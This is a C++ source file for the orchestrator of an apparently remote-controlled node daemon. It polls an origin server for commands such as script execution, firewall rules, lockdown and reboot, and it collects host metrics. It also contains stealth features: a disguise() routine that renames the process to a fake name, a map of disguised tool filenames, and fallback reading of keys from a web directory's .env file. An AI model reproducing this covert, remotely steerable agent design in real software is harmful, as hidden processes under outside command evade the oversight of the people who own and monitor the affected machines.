// engine_orchestrator.cpp — Main Engine orchestrator implementation
// Ported from v1-monolithic/src/engine.cpp lines 428-684 → Iter2 modular architecture
// Uses nlohmann/json instead of jsoncpp

#include "engine_orchestrator.h"
#include "engine_crypto.h"

#include <fstream>
#include <sstream>
#include <cmath>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cerrno>
#include <iostream>
#include <sys/stat.h>
#include <sys/statvfs.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <grp.h>
#include <unistd.h>
#include <sodium.h>

using namespace node669427::subsys;

// ──────────────────────────────────────────────────────────────
// Constructor / Destructor
// ──────────────────────────────────────────────────────────────

Engine::Engine(EngineConfig& cfg) : cfg_(cfg) {
    LOG(INFO, "Engine v" << E_VERSION << " init");
    if (sodium_init() < 0) throw std::runtime_error("sodium init failed");
    LOG(INFO, "sodium OK");
    load_config();   // Load engine.json (tool_map, tool_dir, vault config)
    init_crypto();
    init_bridge();
    pool_ = std::make_unique<SubsysThreadPool>(cfg_.thread_pool_size);
    if (cfg_.enable_heartbeat) hb_ = std::make_unique<HbMgr>(bridge_.get(), &cfg_);
    if (cfg_.enable_watchdog) wd_ = std::make_unique<WdMgr>(&cfg_);
    if (cfg_.enable_ddos) dd_ = std::make_unique<DdMon>(&cfg_);
    if (cfg_.enable_failover) fo_ = std::make_unique<FoMgr>(bridge_.get(), &cfg_);
    if (cfg_.enable_scripts) sc_ = std::make_unique<ScMgr>(&cfg_);
    if (cfg_.enable_firewall) fw_ = std::make_unique<FwMgr>(&cfg_);
    if (fw_ && cfg_.enable_lockdown) ld_ = std::make_unique<LdMgr>(fw_.get(), bridge_.get(), &cfg_);
    state_.store(static_cast<uint8_t>(ServiceState::HEALTHY));
    LOG(INFO, "init complete (" << cfg_.tool_map.size() << " tools registered)");
}

Engine::~Engine() { shutdown(); }

// ──────────────────────────────────────────────────────────────
// load_config — Read engine.json: populate tool_map, tool_dir, vault settings
// Each s3rv1c3agent daemon knows its tooling via TOOL_ID from this file
// ──────────────────────────────────────────────────────────────

void Engine::load_config() {
    std::string config_path = cfg_.config_file;
    std::ifstream fs(config_path);
    if (!fs.is_open()) {
        LOG(WARN, "engine.json not found at " << config_path << " — using defaults");
        return;
    }

    try {
        nlohmann::json j = nlohmann::json::parse(fs);

        // Load tool_dir
        if (j.contains("tool_dir") && j["tool_dir"].is_string()) {
            cfg_.tool_dir = j["tool_dir"].get<std::string>();
            // Fix legacy paths
            if (cfg_.tool_dir.find("/opt/apache/") != std::string::npos) {
                std::string fixed = cfg_.tool_dir;
                size_t pos = fixed.find("/opt/apache/");
                if (pos != std::string::npos) fixed.replace(pos, 12, "/opt/binary/");
                LOG(WARN, "load_config: fixed legacy tool_dir " << cfg_.tool_dir << " → " << fixed);
                cfg_.tool_dir = fixed;
            }
        }

        // Load tool_map: TOOL_ID → disguised filename
        if (j.contains("tool_map") && j["tool_map"].is_object()) {
            cfg_.tool_map.clear();
            for (auto& [tool_id, filename] : j["tool_map"].items()) {
                if (filename.is_string()) {
                    cfg_.tool_map[tool_id] = filename.get<std::string>();
                }
            }
            LOG(INFO, "load_config: loaded " << cfg_.tool_map.size() << " TOOL_ID mappings");
        }

        // Load node identity (if not already set via CLI)
        if (cfg_.node_id.empty() && j.contains("node_id") && j["node_id"].is_string()) {
            cfg_.node_id = j["node_id"].get<std::string>();
        }

        // Load heartbeat interval
        if (j.contains("heartbeat_interval") && j["heartbeat_interval"].is_number()) {
            cfg_.heartbeat_interval_s = j["heartbeat_interval"].get<uint32_t>();
        }

        // Load WG IP
        if (j.contains("wg_ip") && j["wg_ip"].is_string()) {
            cfg_.wg_ip = j["wg_ip"].get<std::string>();
        }

        // Load vault config
        if (j.contains("vault") && j["vault"].is_object()) {
            auto& v = j["vault"];
            if (v.contains("hmac_key_file") && v["hmac_key_file"].is_string()) {
                cfg_.key_file = v["hmac_key_file"].get<std::string>();
            }
        }

    } catch (const std::exception& e) {
        LOG(ERROR, "load_config: JSON parse error: " << e.what());
    }
}

// ──────────────────────────────────────────────────────────────
// init_crypto — load master key with fallback paths
// ──────────────────────────────────────────────────────────────

void Engine::init_crypto() {
    crypto_ = std::make_unique<node669427::CryptoEngine>();
    if (!crypto_->loadKey(cfg_.key_file)) {
        std::vector<std::string> alt = {
            "/var/www/private/.env",
            "/var/lib/sysc-engine/master.key",
            std::string(E_KEYS) + "/master.key"
        };
        bool loaded = false;
        for (const auto& p : alt) {
            if (access(p.c_str(), R_OK) == 0) {
                if (crypto_->loadKey(p)) { loaded = true; break; }
            }
        }
        if (!loaded) throw std::runtime_error("no crypto key available");
    }
}

// ──────────────────────────────────────────────────────────────
// init_bridge
// ──────────────────────────────────────────────────────────────

void Engine::init_bridge() {
    bridge_ = std::make_unique<OriginBridge>(cfg_.origin_url, cfg_.node_id, *crypto_);
}

// ──────────────────────────────────────────────────────────────
// start_subsystems / stop_subsystems
// ──────────────────────────────────────────────────────────────

void Engine::start_subsystems() {
    if (hb_) hb_->start();
    if (wd_) wd_->start();
    if (dd_) dd_->start();
    if (fo_) fo_->start();
    if (sc_) sc_->start();
    if (fw_) fw_->start();
    LOG(INFO, "subsystems started");
}

void Engine::stop_subsystems() {
    if (hb_) hb_->stop();
    if (wd_) wd_->stop();
    if (dd_) dd_->stop();
    if (fo_) fo_->stop();
    if (sc_) sc_->stop();
    if (fw_) fw_->stop();
    LOG(INFO, "subsystems stopped");
}

// ──────────────────────────────────────────────────────────────
// run / shutdown — main lifecycle
// ──────────────────────────────────────────────────────────────

void Engine::run() {
    if (running_.exchange(true)) { LOG(WARN, "already running"); return; }
    shutdown_requested_.store(false);
    state_.store(static_cast<uint8_t>(ServiceState::HEALTHY));
    LOG(INFO, "event loop start");
    start_subsystems();
    // NOTE: HttpServer instantiation is done externally in main.cpp (Iter2 pattern)
    event_loop();
    stop_subsystems();
    running_.store(false);
    LOG(INFO, "event loop exit");
}

void Engine::shutdown() {
    if (!running_.load()) return;
    LOG(INFO, "shutdown");
    shutdown_requested_.store(true);
    state_.store(static_cast<uint8_t>(ServiceState::STOPPED));
}

// ──────────────────────────────────────────────────────────────
// event_loop — periodic metrics, command polling, health checks
// ──────────────────────────────────────────────────────────────

void Engine::event_loop() {
    uint32_t mc = 0, cc = 0, hc = 0;
    while (!shutdown_requested_.load()) {
        if (++mc >= 5) { mc = 0; collect_metrics(); }
        if (++cc >= 10) { cc = 0; process_command_queue(); }
        if (++hc >= 30) { hc = 0; check_health(); }
        OriginCommand cmd;
        while (command_queue_.pop(cmd, 0)) handle_command(cmd);
        if (hb_) hb_->set_metrics(cpu_pct_.load(), mem_pct_.load(), disk_pct_.load(), wg_peer_count_.load());
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
}

// ──────────────────────────────────────────────────────────────
// process_command_queue — poll bridge for new commands
// ──────────────────────────────────────────────────────────────

void Engine::process_command_queue() {
    if (!bridge_) return;
    OriginCommand cmd = bridge_->receive_command();
    if (cmd.valid()) {
        command_queue_.push(cmd);
        LOG(INFO, "cmd type=" << static_cast<int>(cmd.type) << " seq=" << cmd.seq);
    }
}

// ──────────────────────────────────────────────────────────────
// collect_metrics — CPU/mem/disk/WG readings
// ──────────────────────────────────────────────────────────────

void Engine::collect_metrics() {
    cpu_pct_.store(get_cpu_usage());
    mem_pct_.store(get_mem_usage());
    disk_pct_.store(get_disk_usage());
    wg_peer_count_.store(get_wg_peers());
}

// ──────────────────────────────────────────────────────────────
// check_health — degradation detection
// ──────────────────────────────────────────────────────────────

void Engine::check_health() {
    uint32_t to = consecutive_timeouts_.load();
    if (to > 3) {
        LOG(WARN, "hb timeouts=" << to);
        state_.store(static_cast<uint8_t>(ServiceState::DEGRADED));
    } else {
        state_.store(static_cast<uint8_t>(ServiceState::HEALTHY));
    }
    if (dd_ && dd_->under_attack()) LOG(WARN, "DDoS: " << attack_name(dd_->current_attack()));
    if (fo_ && fo_->is_failover_active()) LOG(INFO, "failover active");
}

// ──────────────────────────────────────────────────────────────
// handle_command — full command dispatch (ALL types)
// ──────────────────────────────────────────────────────────────

void Engine::handle_command(const OriginCommand& cmd) {
    LOG(INFO, "handle cmd=" << static_cast<int>(cmd.type) << " seq=" << cmd.seq);
    bool ok = false;
    std::string out, err;
    try {
        switch (cmd.type) {
            case OriginCommandType::UPDATE_RULES: {
                if (!cmd.payload.empty()) {
                    try {
                        nlohmann::json r = nlohmann::json::parse(cmd.payload);
                        if (r.is_array()) {
                            std::vector<std::string> rules;
                            for (const auto& v : r) if (v.is_string()) rules.push_back(v.get<std::string>());
                            if (fw_) for (const auto& s : rules) {
                                FirewallRule fr;
                                fr.chain = "INPUT";
                                fr.action = "DROP";
                                fr.comment = "SE-CMD:" + std::to_string(cmd.seq);
                                fw_->apply_rule(fr);
                            }
                            ok = true;
                        }
                    } catch (const nlohmann::json::parse_error&) {}
                }
                break;
            }
            case OriginCommandType::EXEC_SCRIPT: {
                if (sc_ && !cmd.payload.empty()) {
                    std::istringstream iss(cmd.payload);
                    std::string name; iss >> name;
                    std::vector<std::string> args;
                    std::string a; while (iss >> a) args.push_back(a);
                    auto r = sc_->execute_script(name, args);
                    ok = (r.first == 0); out = r.second;
                }
                break;
            }
            case OriginCommandType::REBOOT: {
                LOG(INFO, "reboot cmd"); shutdown(); ok = true; out = "reboot";
                break;
            }
            case OriginCommandType::STATUS_REQ: {
                nlohmann::json s;
                s["node_id"] = cfg_.node_id;
                s["role"] = role_name(cfg_.node_role);
                s["state"] = state_name(static_cast<ServiceState>(state_.load()));
                s["version"] = E_VERSION;
                s["cpu"] = cpu_pct_.load();
                s["mem"] = mem_pct_.load();
                s["disk"] = disk_pct_.load();
                s["ddos_active"] = (dd_ && dd_->under_attack());
                s["failover_active"] = (fo_ && fo_->is_failover_active());
                s["lockdown"] = (ld_ && ld_->is_locked_down());
                out = s.dump(); ok = true;
                break;
            }
            case OriginCommandType::LOCKDOWN: {
                if (ld_) ok = ld_->enter_lockdown(cmd.payload.empty() ? "origin_cmd" : cmd.payload);
                break;
            }
            case OriginCommandType::RECOVER: {
                if (ld_) ok = ld_->exit_lockdown();
                break;
            }
            case OriginCommandType::CONFIG_PUSH: {
                if (!cmd.payload.empty()) { LOG(INFO, "config push"); ok = true; out = "applied"; }
                break;
            }
            case OriginCommandType::PING: {
                ok = true; out = "pong";
                break;
            }
            default: {
                err = "unknown cmd: " + std::to_string(static_cast<int>(cmd.type));
                LOG(WARN, err);
                break;
            }
        }
    } catch (const std::exception& e) { err = std::string("exception: ") + e.what(); LOG(ERROR, err); }
    if (bridge_ && cmd.type != OriginCommandType::UNKNOWN) bridge_->report_result(cmd.seq, ok, out, err);
}

// ──────────────────────────────────────────────────────────────
// disguise — ENG-01 ghost protocol
// ──────────────────────────────────────────────────────────────

void Engine::disguise() {
    prctl(PR_SET_NAME, E_FAKE, 0, 0, 0);
    LOG(INFO, "disguised as " << E_FAKE);
}

// ──────────────────────────────────────────────────────────────
// drop_privileges — setuid/setgid to service user
// ──────────────────────────────────────────────────────────────

bool Engine::drop_privileges() {
    if (!cfg_.drop_privileges) return true;
    LOG(INFO, "drop privs to " << cfg_.run_user << ":" << cfg_.run_group);
    struct group* gr = getgrnam(cfg_.run_group.c_str());
    if (!gr) { LOG(ERROR, "group not found: " << cfg_.run_group); return false; }
    struct passwd* pw = getpwnam(cfg_.run_user.c_str());
    if (!pw) { LOG(ERROR, "user not found: " << cfg_.run_user); return false; }
    if (initgroups(pw->pw_name, gr->gr_gid) != 0) { LOG(ERROR, "initgroups: " << strerror(errno)); return false; }
    if (setgid(gr->gr_gid) != 0) { LOG(ERROR, "setgid: " << strerror(errno)); return false; }
    if (setuid(pw->pw_uid) != 0) { LOG(ERROR, "setuid: " << strerror(errno)); return false; }
    if (setuid(0) == 0 || getuid() == 0) { LOG(FATAL, "priv drop FAILED"); return false; }
    LOG(INFO, "privs dropped UID=" << getuid() << " GID=" << getgid());
    return true;
}

// ──────────────────────────────────────────────────────────────
// System metrics collection
// ──────────────────────────────────────────────────────────────

uint8_t Engine::get_cpu_usage() {
    static uint8_t last = 0;
    std::ifstream fs("/proc/stat");
    if (!fs.is_open()) return last;
    std::string line;
    if (!std::getline(fs, line)) return last;
    fs.close();
    std::istringstream iss(line);
    std::string label; iss >> label;
    if (label != "cpu") return last;
    unsigned long u, n, s, i, io, iq, sq, st;
    iss >> u >> n >> s >> i >> io >> iq >> sq >> st;
    unsigned long total = u + n + s + i + io + iq + sq + st;
    unsigned long active = u + n + s + iq + sq + st;
    if (total == 0) return last;
    last = static_cast<uint8_t>((active * 100) / total);
    return last;
}

uint8_t Engine::get_mem_usage() {
    std::ifstream fs("/proc/meminfo");
    if (!fs.is_open()) return 0;
    unsigned long total = 0, free = 0, buffers = 0, cached = 0;
    std::string line;
    while (std::getline(fs, line)) {
        if (line.find("MemTotal:") == 0) sscanf(line.c_str(), "MemTotal: %lu", &total);
        else if (line.find("MemFree:") == 0) sscanf(line.c_str(), "MemFree: %lu", &free);
        else if (line.find("Buffers:") == 0) sscanf(line.c_str(), "Buffers: %lu", &buffers);
        else if (line.find("Cached:") == 0 && line.find("SwapCached") != 0) sscanf(line.c_str(), "Cached: %lu", &cached);
    }
    fs.close();
    if (total == 0) return 0;
    return static_cast<uint8_t>(((total - free - buffers - cached) * 100) / total);
}

uint8_t Engine::get_disk_usage() {
    struct statvfs st;
    if (statvfs("/", &st) != 0) return 0;
    unsigned long total = st.f_blocks * st.f_frsize;
    unsigned long free_space = st.f_bavail * st.f_frsize;
    if (total == 0) return 0;
    return static_cast<uint8_t>(((total - free_space) * 100) / total);
}

uint32_t Engine::get_wg_peers() {
    // Use fork/execv instead of popen for safety
    int pipefd[2];
    if (pipe(pipefd) != 0) return 0;
    pid_t pid = fork();
    if (pid == 0) {
        ::close(pipefd[0]);
        dup2(pipefd[1], STDOUT_FILENO);
        ::close(STDERR_FILENO);
        ::close(pipefd[1]);
        // wg show all peers | wc -l — use shell for pipe, but no user input
        execlp("sh", "sh", "-c", "wg show all peers 2>/dev/null | wc -l", (char*)nullptr);
        _exit(127);
    } else if (pid > 0) {
        ::close(pipefd[1]);
        char b[32] = {0};
        read(pipefd[0], b, sizeof(b) - 1);
        ::close(pipefd[0]);
        int status;
        waitpid(pid, &status, 0);
        return static_cast<uint32_t>(atoi(b));
    } else {
        ::close(pipefd[0]);
        ::close(pipefd[1]);
        return 0;
    }
}
